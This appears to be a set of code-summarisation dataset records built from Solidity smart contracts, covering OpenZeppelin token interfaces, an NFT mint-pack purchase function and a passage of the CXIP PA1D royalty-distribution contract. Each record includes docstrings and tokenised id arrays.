Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
* @dev Purchases Berlin Collection Artist Mint Pack/ === Purchases Pack 1-10 === === Increments Index ===
{ require(msg.value == _MintPackPrice, "Invalid Message Value. Mint Pack Is 5 Ether | 5000000000000000000 WEI"); require(_SaleActive, "Sale Inactive"); require(_Index <= _IndexEnding, "Sold Out"); IERC721(_ArtistMintPass1).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass2).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass3).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass4).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass5).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass6).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass7).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass8).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass9).transferFrom(_BRTMULTISIG, msg.sender, _Index); IERC721(_ArtistMintPass10).transferFrom(_BRTMULTISIG, msg.sender, _Index); _Index++; }
1,334,688
[ 1, 10262, 343, 3304, 605, 264, 7511, 2200, 9042, 376, 490, 474, 7930, 19, 757, 14466, 343, 3304, 7930, 404, 17, 2163, 757, 757, 657, 1793, 1346, 3340, 757, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 2583, 12, 3576, 18, 1132, 422, 389, 49, 474, 4420, 5147, 16, 315, 1941, 2350, 1445, 18, 490, 474, 7930, 2585, 1381, 512, 1136, 571, 1381, 12648, 2787, 9449, 13880, 45, 8863, 203, 3639, 2583, 24899, 30746, 3896, 16, 315, 30746, 657, 3535, 8863, 203, 3639, 2583, 24899, 1016, 1648, 389, 1016, 25674, 16, 315, 55, 1673, 2976, 8863, 203, 3639, 467, 654, 39, 27, 5340, 24899, 4411, 376, 49, 474, 6433, 21, 2934, 13866, 1265, 24899, 7192, 56, 26588, 18513, 16, 1234, 18, 15330, 16, 389, 1016, 1769, 7010, 3639, 467, 654, 39, 27, 5340, 24899, 4411, 376, 49, 474, 6433, 22, 2934, 13866, 1265, 24899, 7192, 56, 26588, 18513, 16, 1234, 18, 15330, 16, 389, 1016, 1769, 21281, 3639, 467, 654, 39, 27, 5340, 24899, 4411, 376, 49, 474, 6433, 23, 2934, 13866, 1265, 24899, 7192, 56, 26588, 18513, 16, 1234, 18, 15330, 16, 389, 1016, 1769, 21281, 3639, 467, 654, 39, 27, 5340, 24899, 4411, 376, 49, 474, 6433, 24, 2934, 13866, 1265, 24899, 7192, 56, 26588, 18513, 16, 1234, 18, 15330, 16, 389, 1016, 1769, 21281, 3639, 467, 654, 39, 27, 5340, 24899, 4411, 376, 49, 474, 6433, 25, 2934, 13866, 1265, 24899, 7192, 56, 26588, 18513, 16, 1234, 18, 15330, 16, 389, 1016, 1769, 21281, 3639, 467, 654, 39, 27, 5340, 24899, 4411, 376, 49, 474, 6433, 26, 2934, 13866, 1265, 24899, 7192, 56, 26588, 18513, 16, 1234, 18, 15330, 16, 389, 1016, 1769, 21281, 3639, 467, 654, 39, 27, 5340, 24899, 4411, 376, 49, 2 ]
pragma solidity ^0.5.0; import "./Context.sol"; import "../access/roles/OutputManagerRole.sol"; contract OutputTokenManage is Context, OutputManagerRole { address internal activeManager; event ActiveOutputMangerSet(address activeManager); constructor () internal { setActive(); } /** * @dev Set an OutputManager as the active manager * for transferFrom allowance and distribution. */ function setActive() public onlyOutputManager { activeManager = _msgSender(); emit ActiveOutputMangerSet(_msgSender()); } function getActiveManager() public view returns (address) { return activeManager; } }
* @dev Set an OutputManager as the active manager for transferFrom allowance and distribution./
function setActive() public onlyOutputManager { activeManager = _msgSender(); emit ActiveOutputMangerSet(_msgSender()); }
7,320,658
[ 1, 694, 392, 3633, 1318, 487, 326, 2695, 3301, 364, 7412, 1265, 1699, 1359, 471, 7006, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 20669, 1435, 1071, 1338, 1447, 1318, 288, 203, 3639, 2695, 1318, 273, 389, 3576, 12021, 5621, 203, 203, 3639, 3626, 8857, 1447, 49, 11455, 694, 24899, 3576, 12021, 10663, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x5cbB77BDEeD73AEfdF30eDDEC721BccC89704139/sources/contracts/nftMint.sol
checks if a designated wallet has an nft this function doesn't check for the specific nft id. It only chekcs if the wallet is holding any 1 random nft from the collection
function walletHoldsToken(address _wallet, address _contract) public view returns (bool) { return IERC721(_contract).balanceOf(_wallet) > 0; }
1,851,451
[ 1, 12366, 309, 279, 25264, 9230, 711, 392, 290, 1222, 333, 445, 3302, 1404, 866, 364, 326, 2923, 290, 1222, 612, 18, 2597, 1338, 462, 3839, 2143, 309, 326, 9230, 353, 19918, 1281, 404, 2744, 290, 1222, 628, 326, 1849, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9230, 20586, 87, 1345, 12, 2867, 389, 19177, 16, 1758, 389, 16351, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 327, 467, 654, 39, 27, 5340, 24899, 16351, 2934, 12296, 951, 24899, 19177, 13, 405, 374, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.12; /*______/\\\\\\\\\__/\\\_______/\\\__/\\\\\\\\\\\__/\\\\\\\\\\\\\___ _____/\\\////////__\///\\\___/\\\/__\/////\\\///__\/\\\/////////\\\_ ___/\\\/_____________\///\\\\\\/________\/\\\_____\/\\\_______\/\\\_ __/\\\_________________\//\\\\__________\/\\\_____\/\\\\\\\\\\\\\/__ _\/\\\__________________\/\\\\__________\/\\\_____\/\\\/////////____ _\//\\\_________________/\\\\\\_________\/\\\_____\/\\\_____________ __\///\\\_____________/\\\////\\\_______\/\\\_____\/\\\_____________ ____\////\\\\\\\\\__/\\\/___\///\\\__/\\\\\\\\\\\_\/\\\_____________ _______\/////////__\///_______\///__\///////////__\///____________*/ /** * @title PA1D (CXIP) * @author CXIP-Labs * @notice A smart contract for providing royalty info, collecting royalties, and distributing it to configured payout wallets. * @dev This smart contract is not intended to be used directly. Apply it to any of your ERC721 or ERC1155 smart contracts through a delegatecall fallback. */ contract PA1D { /** * @notice Event emitted when setting/updating royalty info/fees. This is used by Rarible V1. * @dev Emits event in order to comply with Rarible V1 royalty spec. * @param tokenId Specific token id for which royalty info is being set, set as 0 for all tokens inside of the smart contract. * @param recipients Address array of wallets that will receive tha royalties. * @param bps Uint256 array of base points(percentages) that each wallet(specified in recipients) will receive from the royalty payouts. Make sure that all the base points add up to a total of 10000. */ event SecondarySaleFees(uint256 tokenId, address[] recipients, uint256[] bps); /** * @dev Use this modifier to lock public functions that should not be accesible to non-owners. */ modifier onlyOwner() { require(isOwner(), "PA1D: caller not an owner"); _; } /** * @notice Constructor is empty and not utilised. * @dev Since the smart contract is being used inside of a fallback context, the constructor function is not being used. */ constructor() {} /** * @notice Initialise the smart contract on source smart contract deployment/initialisation. * @dev Use the init function once, when deploying or initialising your overlying smart contract. * @dev Take great care to not expose this function to your other public functions. * @param tokenId Specify a particular token id only if using the init function for a special case. Otherwise leave empty(0). * @param receiver The address for the default receiver of all royalty payouts. Recommended to use the overlying smart contract address. This will allow the PA1D smart contract to handle all royalty settings, receipt, and distribution. * @param bp The default base points(percentage) for royalty payouts. */ function init( uint256 tokenId, address payable receiver, uint256 bp ) public onlyOwner {} /** * @dev Get the top-level CXIP Registry smart contract. Function must always be internal to prevent miss-use/abuse through bad programming practices. * @return The address of the top-level CXIP Registry smart contract. */ function getRegistry() internal pure returns (ICxipRegistry) { return ICxipRegistry(0xC267d41f81308D7773ecB3BDd863a902ACC01Ade); } /** * @notice Check if the underlying identity has sender as registered wallet. * @dev Check the overlying smart contract's identity for wallet registration. * @param sender Address which should be checked against the identity. * @return Returns true if the sender is a valid wallet of the identity. */ function isIdentityWallet(address sender) internal view returns (bool) { return isIdentityWallet(ICxipERC(address(this)).getIdentity(), sender); } /** * @notice Check if a specific identity has sender as registered wallet. * @dev Don't use this function directly unless you know what you're doing. * @param identity Address of the identity smart contract. * @param sender Address which should be checked against the identity. * @return Returns true if the sender is a valid wallet of the identity. */ function isIdentityWallet(address identity, address sender) internal view returns (bool) { if (Address.isZero(identity)) { return false; } return ICxipIdentity(identity).isWalletRegistered(sender); } /** * @notice Check if message sender is a legitimate owner of the smart contract * @dev We check owner, admin, and identity for a more comprehensive coverage. * @return Returns true is message sender is an owner. */ function isOwner() internal view returns (bool) { ICxipERC erc = ICxipERC(address(this)); return (msg.sender == erc.owner() || msg.sender == erc.admin() || isIdentityWallet(erc.getIdentity(), msg.sender)); } /** * @dev Gets the default royalty payment receiver address from storage slot. * @return receiver Wallet or smart contract that will receive the initial royalty payouts. */ function _getDefaultReceiver() internal view returns (address payable receiver) { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.defaultReceiver')) - 1); assembly { receiver := sload( /* slot */ 0xaee4e97c19ce50ea5345ba9751676d533a3a7b99c3568901208f92f9eea6a7f2 ) } } /** * @dev Sets the default royalty payment receiver address to storage slot. * @param receiver Wallet or smart contract that will receive the initial royalty payouts. */ function _setDefaultReceiver(address receiver) internal { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.defaultReceiver')) - 1); assembly { sstore( /* slot */ 0xaee4e97c19ce50ea5345ba9751676d533a3a7b99c3568901208f92f9eea6a7f2, receiver ) } } /** * @dev Gets the default royalty base points(percentage) from storage slot. * @return bp Royalty base points(percentage) for royalty payouts. */ function _getDefaultBp() internal view returns (uint256 bp) { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.defaultBp')) - 1); assembly { bp := sload( /* slot */ 0xfd198c3b406b2320ea9f4a413c7a69a7592dbfc4175b8c252fec24223e68b720 ) } } /** * @dev Sets the default royalty base points(percentage) to storage slot. * @param bp Uint256 of royalty percentage, provided in base points format. */ function _setDefaultBp(uint256 bp) internal { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.defaultBp')) - 1); assembly { sstore( /* slot */ 0xfd198c3b406b2320ea9f4a413c7a69a7592dbfc4175b8c252fec24223e68b720, bp ) } } /** * @dev Gets the royalty payment receiver address, for a particular token id, from storage slot. * @return receiver Wallet or smart contract that will receive the royalty payouts for a particular token id. */ function _getReceiver(uint256 tokenId) internal view returns (address payable receiver) { bytes32 slot = bytes32( uint256(keccak256(abi.encodePacked("eip1967.PA1D.receiver", tokenId))) - 1 ); assembly { receiver := sload(slot) } } /** * @dev Sets the royalty payment receiver address, for a particular token id, to storage slot. * @param tokenId Uint256 of the token id to set the receiver for. * @param receiver Wallet or smart contract that will receive the royalty payouts for a particular token id. */ function _setReceiver(uint256 tokenId, address receiver) internal { bytes32 slot = bytes32( uint256(keccak256(abi.encodePacked("eip1967.PA1D.receiver", tokenId))) - 1 ); assembly { sstore(slot, receiver) } } /** * @dev Gets the royalty base points(percentage), for a particular token id, from storage slot. * @return bp Royalty base points(percentage) for the royalty payouts of a specific token id. */ function _getBp(uint256 tokenId) internal view returns (uint256 bp) { bytes32 slot = bytes32( uint256(keccak256(abi.encodePacked("eip1967.PA1D.bp", tokenId))) - 1 ); assembly { bp := sload(slot) } } /** * @dev Sets the royalty base points(percentage), for a particular token id, to storage slot. * @param tokenId Uint256 of the token id to set the base points for. * @param bp Uint256 of royalty percentage, provided in base points format, for a particular token id. */ function _setBp(uint256 tokenId, uint256 bp) internal { bytes32 slot = bytes32( uint256(keccak256(abi.encodePacked("eip1967.PA1D.bp", tokenId))) - 1 ); assembly { sstore(slot, bp) } } function _getPayoutAddresses() internal view returns (address payable[] memory addresses) { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.payout.addresses')) - 1); bytes32 slot = 0xda9d0b1bc91e594968e30b896be60318d483303fc3ba08af8ac989d483bdd7ca; uint256 length; assembly { length := sload(slot) } addresses = new address payable[](length); address payable value; for (uint256 i = 0; i < length; i++) { slot = keccak256(abi.encodePacked(i, slot)); assembly { value := sload(slot) } addresses[i] = value; } } function _setPayoutAddresses(address payable[] memory addresses) internal { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.payout.addresses')) - 1); bytes32 slot = 0xda9d0b1bc91e594968e30b896be60318d483303fc3ba08af8ac989d483bdd7ca; uint256 length = addresses.length; assembly { sstore(slot, length) } address payable value; for (uint256 i = 0; i < length; i++) { slot = keccak256(abi.encodePacked(i, slot)); value = addresses[i]; assembly { sstore(slot, value) } } } function _getPayoutBps() internal view returns (uint256[] memory bps) { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.payout.bps')) - 1); bytes32 slot = 0x7862b872ab9e3483d8176282b22f4ac86ad99c9035b3f794a541d84a66004fa2; uint256 length; assembly { length := sload(slot) } bps = new uint256[](length); uint256 value; for (uint256 i = 0; i < length; i++) { slot = keccak256(abi.encodePacked(i, slot)); assembly { value := sload(slot) } bps[i] = value; } } function _setPayoutBps(uint256[] memory bps) internal { // The slot hash has been precomputed for gas optimizaion // bytes32 slot = bytes32(uint256(keccak256('eip1967.PA1D.payout.bps')) - 1); bytes32 slot = 0x7862b872ab9e3483d8176282b22f4ac86ad99c9035b3f794a541d84a66004fa2; uint256 length = bps.length; assembly { sstore(slot, length) } uint256 value; for (uint256 i = 0; i < length; i++) { slot = keccak256(abi.encodePacked(i, slot)); value = bps[i]; assembly { sstore(slot, value) } } } function _getTokenAddress(string memory tokenName) internal view returns (address tokenAddress) { bytes32 slot = bytes32( uint256(keccak256(abi.encodePacked("eip1967.PA1D.tokenAddress", tokenName))) - 1 ); assembly { tokenAddress := sload(slot) } } function _setTokenAddress(string memory tokenName, address tokenAddress) internal { bytes32 slot = bytes32( uint256(keccak256(abi.encodePacked("eip1967.PA1D.tokenAddress", tokenName))) - 1 ); assembly { sstore(slot, tokenAddress) } } /** * @dev Internal function that transfers ETH to all payout recipients. */ function _payoutEth() internal { address payable[] memory addresses = _getPayoutAddresses(); uint256[] memory bps = _getPayoutBps(); uint256 length = addresses.length; // accommodating the 2300 gas stipend // adding 1x for each item in array to accomodate rounding errors uint256 gasCost = (23300 * length) + length; uint256 balance = address(this).balance; require(balance - gasCost > 10000, "PA1D: Not enough ETH to transfer"); balance = balance - gasCost; uint256 sending; for (uint256 i = 0; i < length; i++) { sending = ((bps[i] * balance) / 10000); addresses[i].transfer(sending); } } /** * @dev Internal function that transfers tokens to all payout recipients. * @param tokenAddress Smart contract address of ERC20 token. */ function _payoutToken(address tokenAddress) internal { address payable[] memory addresses = _getPayoutAddresses(); uint256[] memory bps = _getPayoutBps(); uint256 length = addresses.length; IERC20 erc20 = IERC20(tokenAddress); uint256 balance = erc20.balanceOf(address(this)); require(balance > 10000, "PA1D: Not enough tokens to transfer"); uint256 sending; //uint256 sent; for (uint256 i = 0; i < length; i++) { sending = ((bps[i] * balance) / 10000); require(erc20.transfer(addresses[i], sending), "PA1D: Couldn't transfer token"); } } /** * @dev Internal function that transfers multiple tokens to all payout recipients. * @dev Try to use _payoutToken and handle each token individually. * @param tokenAddresses Array of smart contract addresses of ERC20 tokens. */ function _payoutTokens(address[] memory tokenAddresses) internal { address payable[] memory addresses = _getPayoutAddresses(); uint256[] memory bps = _getPayoutBps(); IERC20 erc20; uint256 balance; uint256 sending; for (uint256 t = 0; t < tokenAddresses.length; t++) { erc20 = IERC20(tokenAddresses[t]); balance = 